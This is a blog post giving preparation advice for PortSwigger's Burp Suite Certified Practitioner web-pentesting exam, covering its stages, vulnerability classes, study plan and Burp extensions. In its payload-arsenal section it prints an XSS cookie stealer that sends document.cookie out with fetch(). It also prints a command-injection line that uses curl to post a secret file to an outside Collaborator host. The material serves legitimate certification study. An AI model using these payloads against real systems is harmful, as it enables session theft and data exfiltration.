October 15, 2026
๐ How I Cracked the Burp Suite Certified Practitioner (BSCP) Exam โ And How You Can Too! ๐
โฑ๏ธ 4 Hours. ๐ 2 Web Applications. ๐ 6 Vulnerabilities. ๐ Zero Reports to Write.

By Mukilan Baskaran
7 min read
๐ก๏ธ Cybersecurity ยท ๐ท๏ธ Web Pentesting ยท ๐ฅ PortSwigger
Non-Member Access: link
When I clicked "Start Exam" on the PortSwigger portal, my heart rate was easily sitting at 120 BPM ๐. Four hours sounds like a generous window on paper, but when you are staring at two completely blind web applications and six chained stages standing between you and the certification, the clock ticks fast โณ.
Two hours and forty minutes later, I submitted the final /home/carlos/secret flag ๐ฉ, uploaded my Burp project file, and finally exhaled ๐ฎโ๐จ.
If you are working in application security, bug bounty hunting ๐, or penetration testing, the Burp Suite Certified Practitioner (BSCP) is hands-down the highest-ROI certification on the market ๐ฐ. For just $99 (assuming you have access to Burp Suite Professional), you get a 100% practical, hands-on exam with zero multiple-choice fluff โ and best of all โ no 50-page report to write afterward! ๐
If you are gearing up to take the plunge, this guide breaks down the exact anatomy of the exam, the vulnerability cheat codes per stage, the extensions that saved my life, and the playbook that will get you across the finish line ๐.
๐ฏ What the BSCP Exam Actually Looks Like
Before touching a single lab, you need to understand the rules of engagement. PortSwigger doesn't hide the structure of the exam; in fact, their practice exams are structurally identical to the real thing ๐งฉ.
You are given 4 hours to compromise 2 separate web applications. Each application follows the same three-stage kill chain:
- ๐ Stage 1 (Initial Foothold): Compromise any low-privileged user account and gain an authenticated session (๐ Spoiler: the username isn't always
wienerorcarlos!). - ๐ Stage 2 (Privilege Escalation): Elevate your privileges from the standard user account to reach the administrator panel at
/admin(or hijack the administrator's session directly). - ๐ Stage 3 (Data Exfiltration / RCE): Use the functionality inside the
/admininterface to read the contents of/home/carlos/secretfrom the underlying filesystem and submit the flag.
To pass, you must complete all three stages on both applications (6 flags total ๐ฉ). Completing 5 out of 6 is still a fail โ.
โ ๏ธ The Golden Rule of BSCP: There is NO lab reset button! ๐ซ If you run an unthrottled destructive payload, delete your own user account, or corrupt the admin panel, you can brick the application and burn your exam attempt ๐ฅ. Test gently, read carefully, and verify before executing destructive actions!
๐บ๏ธ Mapping the Stages: What Bugs Live Where?
The BSCP is not an exam about memorizing obscure zero-days; it is an exam about pattern recognition ๐ง . Because every vulnerability in the exam is pulled directly from PortSwigger's Web Security Academy, only specific classes of vulnerabilities make sense at specific stages.
When you know which bug families live at which stage, you eliminate 70% of the guesswork ๐:
Exam Stage๐ฏ Objective๐ High-Probability Vulnerability Families๐ข Stage 1Unauthenticated โก๏ธ User Session
โข XSS / DOM XSS: Stealing victim session cookies via the Exploit Server ๐ช.
โข Host Header Attacks: Password reset poisoning โ๏ธ.
โข Web Cache Poisoning: Routing malicious JS to active users โก.
โข HTTP Request Smuggling: Capturing other users' requests or delivering reflected XSS ๐.
โข Auth Flaws: Username enumeration + password brute-forcing, or flawed stay-logged-in cookies ๐.
โข CORS / CSRF: Chaining cross-origin misconfigurations ๐.
๐ก Stage 2User Session โก๏ธ /admin Access
โข SQL Injection (SQLi): Dumping the users table in PostgreSQL to extract the administrator password ๐.
โข JWT Attacks: Forging tokens (none algorithm, jwk/jku injection, brute-forcing weak secrets, or kid path traversal) ๐๏ธ.
โข Broken Access Control / IDOR: Modifying role parameters (roleid, isAdmin) on profile updates or registration ๐ก๏ธ.
โข Server-Side Prototype Pollution: Overwriting privilege properties in Node.js/Express apps ๐งฌ.
โข Request Smuggling: Bypassing front-end /admin access restrictions (CL.TE or H2.CL) ๐ง.
๐ด Stage 3/admin โก๏ธ Read /home/carlos/secret
โข XXE (XML External Entities): Reading local files via XML uploads, SVG images, or XInclude ๐.
โข SSRF: Hitting internal services (keep an eye out for localhost:6566 or internal admin APIs) ๐.
โข SSTI (Template Injection): Identifying the template engine (Freemarker, Twig, Tornado, Jinja2) and executing OS commands ๐ ๏ธ.
โข Insecure Deserialization: Java (ysoserial gadget chains) or PHP/Ruby object injection in cookies or export features ๐ฆ.
โข OS Command Injection: Blind out-of-band (OOB) exfiltration via Burp Collaborator ๐ป.
โข Path Traversal / File Upload: Bypassing extension filters or path stripping ๐.
๐ฃ๏ธ The 4-Phase Preparation Roadmap
Here is a secret that will save you weeks of stress: You do NOT need to solve the "Expert" labs to pass the BSCP ๐ โโ๏ธ. Expert labs are awesome for brain gymnastics, but the exam strictly tests Apprentice and Practitioner level concepts (often with a slight filter or encoding twist).
1๏ธโฃ Phase 1: Clear the Apprentice & Practitioner Labs ๐
Go through every topic on the Web Security Academy and complete all Apprentice and Practitioner labs. Do not just copy-paste the solution from the dropdown! Ask yourself: How did I know this parameter was vulnerable? What did the HTTP response look like before and after? ๐
2๏ธโฃ Phase 2: Build Your "Copy-Paste" Arsenal โ๏ธ
The BSCP is 100% open-book ๐. You can use Google, GitHub, your local notes, and external tools like sqlmap or ysoserial. However, during the exam, you don't want to waste 20 precious minutes figuring out the exact syntax to exfiltrate a file over DNS via Burp Collaborator.
Create a single, searchable Obsidian or Notion vault organized by Stage, containing ready-to-fire payloads ๐:
- ๐ช XSS Cookie Stealer via
fetch():
HTML
<script>
fetch('https://YOUR-COLLABORATOR-ID.oastify.com?c=' + btoa(document.cookie));
</script><script>
fetch('https://YOUR-COLLABORATOR-ID.oastify.com?c=' + btoa(document.cookie));
</script>- ๐ป Blind OS Command Injection (OOB File Exfiltration):
Bash
& curl -X POST -d @/home/carlos/secret https://YOUR-COLLABORATOR-ID.oastify.com/ && curl -X POST -d @/home/carlos/secret https://YOUR-COLLABORATOR-ID.oastify.com/ &- ๐ PostgreSQL String Concatenation & Version Checks
- ๐งฉ SSTI RCE one-liners for Freemarker, ERB, Tornado, and Jinja2.
- ๐ Wordlists: Keep PortSwigger's official username and password candidate lists saved as
.txtfiles right on your Desktop for 5-second Intruder loading.
3๏ธโฃ Phase 3: Grind Mystery Labs (The Secret Weapon) ๐ฒ
When you practice inside the "SQL Injection" module of the Academy, your brain already knows the answer is SQLi. On the exam, nobody tells you what the bug is ๐ต๏ธโโ๏ธ.
PortSwigger's Mystery Labs feature spawns a random lab without telling you the vulnerability category. PortSwigger recommends doing 5 to 10 of these. Do at least 40 to 50! ๐ฅ Grinding mystery labs trains your "cold-start" reconnaissance muscle so you can spot a vulnerability family within 5 minutes of poking at an app.
4๏ธโฃ Phase 4: Master the Practice Exams โฑ๏ธ
PortSwigger provides two official practice exams. Do not touch them until you feel 80% ready. Treat them like real dress rehearsals: set a 2-hour timer per app, turn off distractions, and practice transitioning from Stage 1 to Stage 3 smoothly.
๐ ๏ธ Essential Burp Extensions & Tooling (Your Force Multipliers)
Trying to pass the BSCP using only raw manual requests is playing on hard mode ๐ฎ. Burp Suite Professional's built-in scanner and BApp Store extensions will do the heavy lifting for you if you know how to aim them:
- ๐ฏ Scan Manual Insertion Point (Game Changer!): Never run a blind, full-site Active Scan unless you want to drown in noise and lag your instance. Instead, highlight a specific parameter, cookie value, or XML node in Repeater, right-click, and select Scan manual insertion point. It finds SQLi, XSS, SSTI, and XXE in seconds โก.
- โ๏ธ Param Miner: Essential for Stage 1. Right-click on requests and run "Guess headers" or "Guess query parameters" to uncover unkeyed inputs for Web Cache Poisoning.
X-Forwarded-Host,X-Original-URL). - ๐๏ธ JWT Editor: Makes Stage 2 JWT tampering effortless. Generate RSA/Symmetric keys in the JWT Editor tab and sign modified payloads directly inside Repeater with two clicks.
- ๐งโโ๏ธ Hackvertor: The ultimate inline encoding tool. When a WAF or naive filter blocks quotes or angle brackets in SQLi or XSS, wrapping payloads in Hackvertor tags (like URL encoding, HTML entities, or hex encoding) lets you bypass filters on the fly without leaving Repeater.
- ๐ HTTP Request Smuggler & Turbo Intruder: Essential for detecting
CL.TE,TE.CL, and HTTP/2 downgrade attacks, as well as executing single-packet race conditions. - โ Java Deserialization Scanner: Quickly fingerprints vulnerable serialized Java objects in cookies or POST bodies during Stage 2 or Stage 3.
๐ง My Exam Day Playbook (And Gotchas to Avoid!)
When exam day arrives, technical skill is only half the battle; time management and composure make up the other half ๐งโโ๏ธ.
- ๐ฅ๏ธ Test Your Proctoring Setup Early (The Dual-Monitor Trap): The exam uses browser-based proctoring (webcam + screen sharing). Do NOT use three monitors โ the proctoring software is notoriously laggy with more than two screens and can freeze your browser session ๐ฅถ. Stick to 1 or 2 monitors and use a clean Chrome profile.
- ๐ฆ Kick Off Both Apps Simultaneously: In the first 15 minutes, open App 1, click every link, submit every form, and log in if test credentials are provided.
wiener:peter). Let Passive Scanner and Param Miner run in the background while you map the attack surface. - ๐ Follow the "New Functionality" Breadcrumbs: Every time you advance a stage, ask yourself: What can I see or click now that I couldn't see 5 minutes ago? When you log in as a user (Stage 2), a new "My Account," "Avatar Upload," or "Stock Check" feature usually appears. That new feature is almost always your next target ๐ฏ. (Pro-tip: Always check if your session cookie format changed after logging in โ sometimes the bug is right inside the new token!)
- ๐ Enforce a Strict 20-Minute Pivot Rule: If you have been throwing payloads at a single parameter on App 1 for 20 minutes with zero change in response behavior, STOP ๐. Fire a targeted Active Scan on that request, switch over to App 2, and bank some progress there. Fresh eyes solve bugs faster than tunnel vision.
- โฒ๏ธ Respect the Exploit Server Timer: Whenever you are delivering a client-side attack (XSS, CSRF, CORS) via the Exploit Server to a simulated victim, remember that the victim bot runs on a periodic cron job (roughly every 15โ20 seconds). Wait at least 20 seconds after clicking "Deliver exploit to victim" before assuming your payload failed!
- ๐พ Save 10 Minutes for Admin Hygiene: Make sure you are running a disk-based Burp Project (not a temporary project in memory!), because you are required to upload your
.burpproject file at the end of the exam for verification ๐.
๐ฅ Watch the Workflow in Action
Seeing how experienced testers triage a blind practice exam and chain vulnerabilities in real time helps solidify the pacing before you sit for your own attempt. These videos walk through the BSCP methodology, extension workflows, and live practice exam teardowns:
Burp Suite Certified Practitioner: Practice Exam Walkthrough (December 2022)
Burp Suite Certified Practitioner (BSCP) Review + Tips/Tricks [Portswigger]
๐ Final Thoughts
The Burp Suite Certified Practitioner exam is one of the few certifications in infosec where studying for the test directly makes you a beast at your day job ๐ช. You aren't memorizing port numbers or outdated trivia; you are building pure muscle memory in HTTP manipulation, filter evasion, and vulnerability chaining.
Trust your preparation, lean on targeted active scans when you hit a wall, keep your payload cheat sheets one Ctrl+F away, and go grab that /home/carlos/secret! ๐ดโโ ๏ธ
Good luck โ and happy hacking! ๐ฅ๐ป๐ฅ